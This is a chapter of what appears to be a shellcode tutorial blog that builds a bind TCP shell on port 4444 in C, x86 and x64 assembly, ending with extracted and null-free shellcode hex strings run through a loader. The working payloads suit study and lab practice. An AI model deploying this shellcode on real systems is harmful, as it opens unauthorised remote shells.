Post

19. Bind TCP Shell

19. Bind TCP Shell

In this chapter, we’ll create a bind TCP shell - a shellcode that opens a network port and binds a shell to it, allowing remote connections. This is extremely useful in penetration testing and network exploitation.

bind_shell

Source

Working of a Bind TCP Shell

A bind TCP shell works as follows:

  1. Create a socket - Create a network socket
  2. Bind to port - Bind the socket to a specific port
  3. Listen for connections - Start listening for incoming connections
  4. Accept connection - Accept an incoming connection
  5. Duplicate file descriptors - Redirect STDIN, STDOUT, STDERR to the socket
  6. Execute shell - Spawn a shell that communicates over the network

We’ll need these Linux system calls:

Syscallx86 NumberPurpose
socket0x167 (359)Create network socket
bind0x169 (361)Bind socket to address/port
listen0x16b (363)Listen for connections
accept0x16c (364)Accept incoming connection
dup20x3f (63)Duplicate file descriptors
execve0xb (11)Execute shell

First let’s write the bind shell in C and then we will write that in assembly -

Before we start, we need to include the necessary headers for networking, file descriptor manipulation, and process creation.

1
2
3
4
#include <sys/socket.h> // For socket functions
#include <netinet/in.h>  // For sockaddr_in
#include <unistd.h>     // For dup2, execve, etc.
#include <stdio.h>      // For perror

Step 1: Create a Socket

The socket is the fundamental building block of network communication. It’s an endpoint for sending and receiving data across the network.

1
2
3
4
5
6
// Create socket
int sockfd = socket(AF_INET, SOCK_STREAM, 0);
if (sockfd == -1) {
    perror("socket");
    exit(1);
}

The AF_INET parameter specifies the IPv4 address family, while SOCK_STREAM indicates a reliable, connection-oriented TCP socket. The 0 parameter allows the system to automatically select the default protocol, which is TCP when using SOCK_STREAM. The function call returns a file descriptor, sockfd, that uniquely identifies the socket and is used for all subsequent network operations performed on it.

Step 2: Bind the Socket to a Port

Creating a socket isn’t enough; we need to assign it a local address (an IP and a port) so that clients know where to connect. We use the bind() system call for this.

1
2
3
4
5
6
7
8
9
10
11
12
// Setup server address structure
struct sockaddr_in server_addr;
server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(4444);  // Port 4444
server_addr.sin_addr.s_addr = INADDR_ANY;

// Bind socket
if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {
    perror("bind");
    close(sockfd);
    exit(1);
}

The sockaddr_in structure stores address information for IPv4 sockets, including IP address and port details. Setting sin_addr.s_addr = INADDR_ANY instructs the socket to bind to all available network interfaces on the machine, effectively listening on the IP address 0.0.0.0. The htons(port) function converts the port number from host byte order to network byte order (big-endian), ensuring consistent communication across different hardware architectures and platforms.

Step 3: Listen for Incoming Connections

Now that our socket is bound to a port, we need to tell the operating system to prepare for incoming connection requests. The listen() function places the socket in a passive state, waiting for clients to connect.

1
2
3
4
5
6
// Listen for connections
if (listen(sockfd, 1) == -1) { // Backlog queue of 1
    perror("listen");
    close(sockfd);
    exit(1);
}

The second argument, 1, is the backlog. It defines the maximum number of pending connections that can be queued up while the program is handling a previous one. If the queue is full, new connections may be refused.

Step 4: Accept an Incoming Connection

When a remote client attempts to connect, we must accept() the connection. This function extracts the first connection request from the queue, creates a new socket specifically for that connection, and returns its file descriptor.

1
2
3
4
5
6
7
8
9
10
// Accept connection
struct sockaddr_in client_addr;
socklen_t client_len = sizeof(client_addr);
int clientfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
if (clientfd == -1) {
    perror("accept");
    close(sockfd);
    exit(1);
}

The original sockfd is only for listening and accepting. The clientfd is the active channel for communication with the connected client.

Step 5: Duplicate File Descriptors (The Magic)

This is the core of the shell functionality. A standard shell expects input from STDIN (file descriptor 0) and sends output to STDOUT (fd 1) and STDERR (fd 2). We need to redirect these standard streams to our network socket.

We use the dup2() system call, which duplicates one file descriptor onto another.

1
2
3
4
// Redirect STDIN, STDOUT, STDERR to socket
dup2(clientfd, 0);  // STDIN
dup2(clientfd, 1);  // STDOUT  
dup2(clientfd, 2);  // STDERR

After these calls, any data read by a program from STDIN will come from the network socket. Any data written to STDOUT or STDERR will be sent over the network socket to the connected client. The shell we are about to spawn will now use the network for all its I/O.

Step 6: Execute the Shell

Finally, we replace the current process’s memory with a shell program (like /bin/sh). This new process will inherit all the open file descriptors, including the ones we just duplicated.

1
2
3
4
5
6
7
8
9
10
11
// Execute a shell
    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

// If execve fails, we need error handling
perror("execve failed");
exit(EXIT_FAILURE);

// Close sockets (only reached if execve fails)
close(clientfd);
close(sockfd);

Complete code in C looks like this -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
#include <sys/socket.h> // For socket functions
#include <netinet/in.h>  // For sockaddr_in
#include <unistd.h>     // For dup2, execve, etc.
#include <stdio.h>      // For perror

int main(){
    int sockfd = socket(AF_INET, SOCK_STREAM, 0);
    // AF_INET indicates IPv4
    // SOCK_STREAM indicates TCP
    // 0 indicates default protocol (TCP for SOCK_STREAM)

    struct sockaddr_in server_addr;
    // sockaddr_in is a structure that contains an internet address
    server_addr.sin_family = AF_INET; // IPv4
    server_addr.sin_addr.s_addr = INADDR_ANY; // Accept connections from any IP address
    server_addr.sin_port = htons(4444); // Port number (4444) in network byte order

    // Bind the socket to the specified IP and port
    if (bind(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        // Handle error
        perror("Bind failed");
        close(sockfd);
        return -1;
    }

    // Now the socket is bound to the IP and port
    // You can proceed to listen for incoming connections or perform other operations
    if(listen(sockfd, 1) < 0) {
        // Handle error
        perror("Listen failed");
        close(sockfd);
        return -1;
    }

    // Accept an incoming connection 
    struct sockaddr_in client_addr;
    socklen_t client_len = sizeof(client_addr);
    int clientfd = accept(sockfd, (struct sockaddr *)&client_addr, &client_len);
    if (clientfd < 0) {
        // Handle error
        perror("Accept failed");
        close(sockfd);
        return -1;
    }

    // Redirect standard input, output, and error to the accepted socket
    dup2(clientfd, 0); // stdin
    dup2(clientfd, 1); // stdout
    dup2(clientfd, 2); // stderr

    // Execute a shell
    char * const argv[] = {"/bin/sh", NULL};
    execve("/bin/sh", argv, NULL);

    // Close sockets (Only reached if execve fails)
    close(clientfd);
    close(sockfd);
    return 0;
}

Compilation and Execution

1
2
gcc bind_tcp.c -o bind_tcp
./bind_tcp

It opens port 4444 and waits for connection.

1
2
3
4
$ netstat -tulpn | grep 4444
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN      27155/bind_tcp 

In a separate terminal, connect to the shell using netcat:

1
nc localhost 4444

For x86 assembly analysis, we need to compile our C code with the -m32 flag to target 32-bit x86 architecture:

1
gcc -m32 bind_tcp.c -o bind_tcp

This generates a 32-bit binary that we can analyze to understand the assembly equivalent of our C code.

We disassemble the binary using objdump, to get a detailed view of how our C code translates into machine instructions. Let’s break down the key sections:

1
$ objdump -M intel -d bind_tcp | awk -F"\\n" -v RS="\\n\\n" '$1 ~ /main/'

Register Clearing

1
2
3
4
5
6
    ; Clear registers
    xor eax, eax
    xor ebx, ebx
    xor ecx, ecx
    xor edx, edx
    xor esi, esi

Socket Creation

1
2
3
4
5
6
7
8
9
10
11
12
13
    ; -----------------------
    ; socket(AF_INET, SOCK_STREAM, 0)
    ; socketcall: eax = 0x66, ebx = SYS_SOCKET (1), ecx = ptr(args)
    ; args: [domain, type, protocol]
    ; -----------------------
    push    0           ; protocol = 0
    push    1           ; SOCK_STREAM = 1
    push    2           ; AF_INET = 2
    mov     ecx, esp    ; pointer to args
    mov     eax, 0x66   ; sys_socketcall
    mov     bl, 1       ; SYS_SOCKET
    int     0x80
    mov     esi, eax    ; esi = sockfd

The socket file descriptor returned in EAX is saved in ESI for later use.

Socket Binding

struct sockaddr_in looks like -

1
2
3
4
5
6
7
struct sockaddr_in {
    short sin_family;       // 2 bytes
    unsigned short sin_port; // 2 bytes
    unsigned long sin_addr; // 4 bytes
    char sin_zero[8];       // 8 bytes padding
};

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    ; -----------------------
    ; We'll push: sin_zero (8), sin_addr (4), sin_port (2), sin_family (2)
    ; -----------------------
    xor     eax, eax
    push    eax         ; sin_zero (4)
    push    eax         ; sin_zero (4) -> total 8 bytes
    push    eax         ; sin_addr = INADDR_ANY (0)
    push    word 0x5c11 ; sin_port = htons(4444) -> 0x115c -> 0x5c11 in network byte order
    push    word 2      ; sin_family = AF_INET (2)
    mov     ecx, esp    ; ecx -> sockaddr_in

    ; -----------------------
    ; bind(sockfd, &addr, 16)
    ; socketcall: ebx = SYS_BIND (2), ecx = ptr([sockfd, sockaddr*, addrlen])
    ; -----------------------
    push    0x10        ; addrlen = sizeof(sockaddr_in) = 16
    push    ecx         ; pointer to sockaddr_in
    push    esi         ; sockfd
    mov     ecx, esp
    mov     eax, 0x66
    mov     bl, 2       ; SYS_BIND
    int     0x80
    ; return in eax (0 on success)

We create a sockaddr_in structure on the stack with:

  • sin_family: AF_INET (2)
  • sin_port: 4444 in network byte order
  • sin_addr: INADDR_ANY (0.0.0.0)

Network byte order means most significant byte first (big-endian) The structure is 16 bytes total including padding.

Listening and Accepting Connections

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
	; -----------------------
    ; listen(sockfd, backlog)
    ; socketcall: ebx = SYS_LISTEN (4), ecx = ptr([sockfd, backlog])
    ; -----------------------
    push    1           ; backlog = 1
    push    esi         ; sockfd
    mov     ecx, esp
    mov     eax, 0x66
    mov     bl, 4       ; SYS_LISTEN
    int     0x80     

    ; -----------------------
    ; accept(sockfd, NULL, NULL)
    ; socketcall: ebx = SYS_ACCEPT (5), ecx = ptr([sockfd, addr, addrlen])
    ; We pass NULL for addr and addrlen
    ; -----------------------
    push    0           ; addrlen = NULL
    push    0           ; addr = NULL
    push    esi         ; sockfd
    mov     ecx, esp
    mov     eax, 0x66
    mov     bl, 5       ; SYS_ACCEPT
    int     0x80
    ; eax = newclientfd
    mov     ebx, eax    ; ebx = client socket fd

File Descriptor Duplication

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
	; Redirect STDIN(0), STDOUT(1), STDERR(2) to socket
    ; -----------------------
    ; dup2 loop: dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2);
    ; syscall: eax = 0x3f (dup2), ebx = oldfd (clientfd), ecx = newfd
    ; -----------------------
	
	xor ecx, ecx        ; Start with STDIN (0)

	; STDIN
	mov al, 0x3f        ; dup2 syscall = 63 (0x3f)
	int 0x80

	; STDOUT  
	inc ecx             ; ecx = 1
	mov al, 0x3f
	int 0x80

	; STDERR
	inc ecx             ; ecx = 2  
	mov al, 0x3f
	int 0x80

Shell Execution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
    ; -----------------------
    ; execve("/bin/sh", ["/bin/sh", NULL], NULL)
    ; -----------------------

	; Execute /bin/sh - execve("/bin/sh", NULL, NULL)
	xor eax, eax        ; Clear EAX

	; Push NULL terminator for string and arrays
	push eax

	; Push "/bin//sh" string (8 bytes for alignment)
	push 0x68732f2f     ; "hs//"
	push 0x6e69622f     ; "nib/"

	mov ebx, esp        ; EBX points to "/bin//sh" string

	; Prepare execve arguments
	push eax        ; NULL terminator
	mov edx, esp    ; envp
	push ebx        ; argv[0]
	mov ecx, esp    ; argv
	mov al, 0xb     ; execve syscall
	int 0x80

Final code looks like -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
section .text
global _start

_start:
    ; Clear registers
    xor     eax, eax
    xor     ebx, ebx
    xor     ecx, ecx
    xor     edx, edx
    xor     esi, esi

    ; ------------------------------------------------
    ; socket(AF_INET, SOCK_STREAM, 0)
    ; socketcall: eax = 0x66, ebx = SYS_SOCKET (1), ecx = ptr(args)
    ; args: [domain, type, protocol]
    ; ------------------------------------------------
    push    0               ; protocol = 0
    push    1               ; SOCK_STREAM = 1
    push    2               ; AF_INET = 2
    mov     ecx, esp        ; pointer to args
    mov     eax, 0x66       ; sys_socketcall
    mov     bl, 1           ; SYS_SOCKET
    int     0x80
    mov     esi, eax        ; esi = sockfd

    ; ------------------------------------------------
    ; Build sockaddr_in on the stack:
    ; sin_family (2), sin_port (2), sin_addr (4), sin_zero (8)
    ; ------------------------------------------------
    xor     eax, eax
    push    eax             ; sin_zero (4)
    push    eax             ; sin_zero (4) -> total 8 bytes
    push    eax             ; sin_addr = INADDR_ANY (0)
    push    word 0x5c11     ; sin_port = htons(4444) -> 0x115c -> 0x5c11 network order
    push    word 2          ; sin_family = AF_INET (2)
    mov     ecx, esp        ; ecx -> sockaddr_in

    ; ------------------------------------------------
    ; bind(sockfd, &addr, 16)
    ; socketcall: ebx = SYS_BIND (2), ecx = ptr([sockfd, sockaddr*, addrlen])
    ; ------------------------------------------------
    push    0x10            ; addrlen = sizeof(sockaddr_in) = 16
    push    ecx             ; pointer to sockaddr_in
    push    esi             ; sockfd
    mov     ecx, esp
    mov     eax, 0x66
    mov     bl, 2           ; SYS_BIND
    int     0x80
    ; return in eax (0 on success)

    ; ------------------------------------------------
    ; listen(sockfd, backlog)
    ; socketcall: ebx = SYS_LISTEN (4), ecx = ptr([sockfd, backlog])
    ; ------------------------------------------------
    push    1               ; backlog = 1
    push    esi             ; sockfd
    mov     ecx, esp
    mov     eax, 0x66
    mov     bl, 4           ; SYS_LISTEN
    int     0x80

    ; ------------------------------------------------
    ; accept(sockfd, NULL, NULL)
    ; socketcall: ebx = SYS_ACCEPT (5), ecx = ptr([sockfd, addr, addrlen])
    ; We pass NULL for addr and addrlen
    ; ------------------------------------------------
    push    0               ; addrlen = NULL
    push    0               ; addr = NULL
    push    esi             ; sockfd
    mov     ecx, esp
    mov     eax, 0x66
    mov     bl, 5           ; SYS_ACCEPT
    int     0x80
    mov     ebx, eax        ; ebx = client socket fd

    ; ------------------------------------------------
    ; Redirect STDIN(0), STDOUT(1), STDERR(2) to socket
    ; dup2 loop: dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2);
    ; syscall: eax = 0x3f (dup2), ebx = oldfd (clientfd), ecx = newfd
    ; ------------------------------------------------
    xor     ecx, ecx        ; start with STDIN (0)

    ; STDIN
    mov     al, 0x3f        ; dup2 syscall = 63 (0x3f)
    int     0x80

    ; STDOUT
    inc     ecx             ; ecx = 1
    mov     al, 0x3f
    int     0x80

    ; STDERR
    inc     ecx             ; ecx = 2
    mov     al, 0x3f
    int     0x80

    ; ------------------------------------------------
    ; execve("/bin/sh", ["/bin/sh", NULL], NULL)
    ; ------------------------------------------------
    xor     eax, eax        ; clear EAX

    ; Push NULL terminator for string and arrays
    push    eax

    ; Push "/bin//sh" string (8 bytes for alignment)
    push    0x68732f2f      ; "hs//"
    push    0x6e69622f      ; "nib/"

    mov     ebx, esp        ; EBX points to "/bin//sh"

    ; Prepare execve arguments
    push    eax             ; NULL terminator for argv
    mov     edx, esp        ; envp = NULL
    push    ebx             ; argv[0] = pointer to "/bin//sh"
    mov     ecx, esp        ; argv
    mov     al, 0x0b        ; execve syscall = 11 (0x0b)
    int     0x80

1
2
nasm -f elf32 bind_tcp32.s -o bind_tcp32.o
ld -m efl_i386 bind_tcp32.o -o bind_tcp32

For x64 assembly we just need to change the registers and syscall numbers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
section .text
global _start

_start:
    ; Clear registers
    xor     rax, rax
    xor     rbx, rbx
    xor     rcx, rcx
    xor     rdx, rdx
    xor     rsi, rsi

    ; ------------------------------------------------
    ; socket(AF_INET, SOCK_STREAM, 0)
    ; syscall: rax = 0x29 (41), rdi = AF_INET, rsi = SOCK_STREAM, rdx = 0
    ; ------------------------------------------------
    mov     rdi, 2          ; AF_INET = 2
    mov     rsi, 1          ; SOCK_STREAM = 1
    mov     rdx, 0          ; protocol = 0
    mov     rax, 0x29       ; sys_socket = 41
    syscall
    mov     r12, rax        ; r12 = sockfd

    ; ------------------------------------------------
    ; Build sockaddr_in on the stack:
    ; sin_family (2), sin_port (2), sin_addr (4), sin_zero (8)
    ; ------------------------------------------------
    xor     rax, rax
    push    rax             ; sin_zero (8 bytes)
    push    rax             ; sin_addr = INADDR_ANY (0)
    push    word 0x5c11     ; sin_port = htons(4444) -> 0x115c -> 0x5c11 network order
    push    word 2          ; sin_family = AF_INET (2)
    mov     rsi, rsp        ; rsi -> sockaddr_in

    ; ------------------------------------------------
    ; bind(sockfd, &addr, 16)
    ; syscall: rax = 0x31 (49), rdi = sockfd, rsi = sockaddr*, rdx = addrlen
    ; ------------------------------------------------
    mov     rdi, r12        ; sockfd
    mov     rdx, 0x10       ; addrlen = sizeof(sockaddr_in) = 16
    mov     rax, 0x31       ; sys_bind = 49
    syscall

    ; ------------------------------------------------
    ; listen(sockfd, backlog)
    ; syscall: rax = 0x32 (50), rdi = sockfd, rsi = backlog
    ; ------------------------------------------------
    mov     rdi, r12        ; sockfd
    mov     rsi, 1          ; backlog = 1
    mov     rax, 0x32       ; sys_listen = 50
    syscall

    ; ------------------------------------------------
    ; accept(sockfd, NULL, NULL)
    ; syscall: rax = 0x2b (43), rdi = sockfd, rsi = addr, rdx = addrlen
    ; We pass NULL for addr and addrlen
    ; ------------------------------------------------
    mov     rdi, r12        ; sockfd
    xor     rsi, rsi        ; addr = NULL
    xor     rdx, rdx        ; addrlen = NULL
    mov     rax, 0x2b       ; sys_accept = 43
    syscall
    mov     r13, rax        ; r13 = client socket fd

    ; ------------------------------------------------
    ; Redirect STDIN(0), STDOUT(1), STDERR(2) to socket
    ; dup2 loop: dup2(clientfd, 0); dup2(clientfd, 1); dup2(clientfd, 2);
    ; syscall: rax = 0x21 (33), rdi = oldfd (clientfd), rsi = newfd
    ; ------------------------------------------------
    mov     rdi, r13        ; clientfd
    xor     rsi, rsi        ; start with STDIN (0)

    ; STDIN
    mov     rax, 0x21       ; dup2 syscall = 33 (0x21)
    syscall

    ; STDOUT
    mov     rdi, r13        ; clientfd
    mov     rsi, 1          ; STDOUT = 1
    mov     rax, 0x21
    syscall

    ; STDERR
    mov     rdi, r13        ; clientfd
    mov     rsi, 2          ; STDERR = 2
    mov     rax, 0x21
    syscall

    ; ------------------------------------------------
    ; execve("/bin/sh", ["/bin/sh", NULL], NULL)
    ; ------------------------------------------------
    xor     rax, rax        ; clear RAX

    ; Push NULL terminator for string and arrays
    push    rax

    ; Push "/bin/sh" string
    mov     rbx, 0x68732f6e69622f  ; "/bin/sh" in hex
    push    rbx

    mov     rdi, rsp        ; RDI points to "/bin/sh"

    ; Prepare execve arguments
    push    rax             ; NULL terminator for argv
    mov     rdx, rsp        ; envp = NULL
    
    push    rdi             ; argv[0] = pointer to "/bin/sh"
    mov     rsi, rsp        ; argv
    
    mov     rax, 0x3b       ; execve syscall = 59 (0x3b)
    syscall
1
2
nasm -f elf64 bind_tcp64.s -o bind_tcp64.o
ld bind_tcp64.o -o bind_tcp64

If we try to dump the shellcode we can see it has a lot of null bytes.

1
2
3
$ ./shellcode_kit.sh -a x86 --extract bind_tcp32
$ cat shellcode_bind_tcp32.txt 
\x31\xc0\x31\xdb\x31\xc9\x31\xd2\x31\xf6\x6a\x00\x6a\x01\x6a\x02\x89\xe1\xb8\x66\x00\x00\x00\xb3\x01\xcd\x80\x89\xc6\x31\xc0\x50\x50\x50\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xb8\x66\x00\x00\x00\xb3\x02\xcd\x80\x6a\x01\x56\x89\xe1\xb8\x66\x00\x00\x00\xb3\x04\xcd\x80\x6a\x00\x6a\x00\x56\x89\xe1\xb8\x66\x00\x00\x00\xb3\x05\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x41\xb0\x3f\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

For making Null Bytes Free shellcode you can check this -

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
global _start

section .text
_start:
    ; Clear registers without null bytes
    xor ebx, ebx        ; Clear EBX
    mul ebx             ; Clear EAX and EDX (EAX * EBX -> EDX:EAX)
    xor ecx, ecx        ; Clear ECX

    ; =============================================
    ; Step 1: Create socket (socketcall 1)
    ; =============================================
    mov al, 0x66        ; socketcall syscall = 102
    mov bl, 0x1         ; SYS_SOCKET = 1
    
    ; Push arguments in reverse order
    push ecx            ; protocol = 0
    push byte 0x1       ; SOCK_STREAM = 1  
    push byte 0x2       ; AF_INET = 2
    
    mov ecx, esp        ; ECX points to arguments
    int 0x80
    
    ; Save socket file descriptor
    mov esi, eax        ; ESI = sockfd

    ; =============================================
    ; Step 2: Bind socket (socketcall 2)
    ; =============================================
    mov al, 0x66        ; socketcall
    mov bl, 0x2         ; SYS_BIND = 2
    
    ; Build sockaddr_in structure
    push edx            ; INADDR_ANY (0.0.0.0)
    push word 0x5c11    ; Port 4444 (0x115c -> 0x5c11 network byte order)
    push word 0x2       ; AF_INET = 2
    mov ecx, esp        ; ECX points to sockaddr_in
    
    ; Push bind arguments
    push byte 0x10      ; sizeof(sockaddr_in) = 16
    push ecx            ; pointer to sockaddr_in
    push esi            ; sockfd
    
    mov ecx, esp        ; ECX points to bind arguments
    int 0x80

    ; =============================================
    ; Step 3: Listen for connections (socketcall 4)
    ; =============================================
    mov al, 0x66        ; socketcall
    mov bl, 0x4         ; SYS_LISTEN = 4
    
    push edx            ; backlog = 0
    push esi            ; sockfd
    
    mov ecx, esp        ; ECX points to listen arguments
    int 0x80

    ; =============================================
    ; Step 4: Accept connection (socketcall 5)
    ; =============================================
    mov al, 0x66        ; socketcall
    mov bl, 0x5         ; SYS_ACCEPT = 5
    
    push edx            ; addrlen = NULL (0)
    push edx            ; addr = NULL (0) 
    push esi            ; sockfd
    
    mov ecx, esp        ; ECX points to accept arguments
    int 0x80
    
    ; Save client file descriptor
    mov ebx, eax        ; EBX = clientfd

    ; =============================================
    ; Step 5: Duplicate file descriptors
    ; =============================================
    xor ecx, ecx        ; Start with STDIN (0)
    
dup_loop:
    mov al, 0x3f        ; dup2 syscall = 63
    int 0x80
    inc ecx             ; Next file descriptor
    cmp ecx, 0x3        ; Done with 0, 1, 2?
    jne dup_loop

    ; =============================================
    ; Step 6: Execute shell
    ; =============================================
    xor eax, eax        ; Clear EAX
    push eax            ; Push NULL terminator
    
    ; Push "/bin//sh" in reverse
    push 0x68732f2f     ; "hs//"
    push 0x6e69622f     ; "nib/"
    
    mov ebx, esp        ; EBX points to "/bin//sh"
    
    push eax            ; envp[1] = NULL
    mov edx, esp        ; EDX points to envp
    
    push ebx            ; argv[0] = "/bin//sh"
    mov ecx, esp        ; ECX points to argv
    
    mov al, 0xb         ; execve syscall = 11
    int 0x80

If you check the shellcode generated by this assembly code -

1
2
3
4
$ ./shellcode_kit.sh -a x86 --extract bind_null_free_32
$ cat shellcode_bind_null_free_32.txt 
\x31\xdb\xf7\xe3\x31\xc9\xb0\x66\xb3\x01\x51\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89\xc6\xb0\x66\xb3\x02\x52\x66\x68\x11\x5c\x66\x6a\x02\x89\xe1\x6a\x10\x51\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x04\x52\x56\x89\xe1\xcd\x80\xb0\x66\xb3\x05\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03\x75\xf6\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80

It doesn’t contain any null-bytes. We can pass this to our loader.

1
$ ./shellcode_kit.sh -a x86 --run bind_null_free_32

On second terminal connect to port 4444

1
2
nc localhost 4444

It is working! :)

This post is licensed under CC BY 4.0 by the author.